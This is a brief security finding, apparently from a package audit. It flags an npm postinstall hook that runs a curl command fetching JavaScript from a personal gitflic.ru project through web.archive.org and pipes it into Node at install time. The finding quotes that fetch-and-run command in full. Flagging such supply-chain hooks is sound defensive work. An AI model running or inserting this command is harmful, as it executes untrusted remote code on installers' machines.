The postinstall hook runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js |... node`, piping an unpinned, remotely fetched JavaScript payload directly into Node at install time. The destination is a personal `hellscripter` project on gitflic.ru fronted via web.archive.org, unrelated to Angular's publisher.
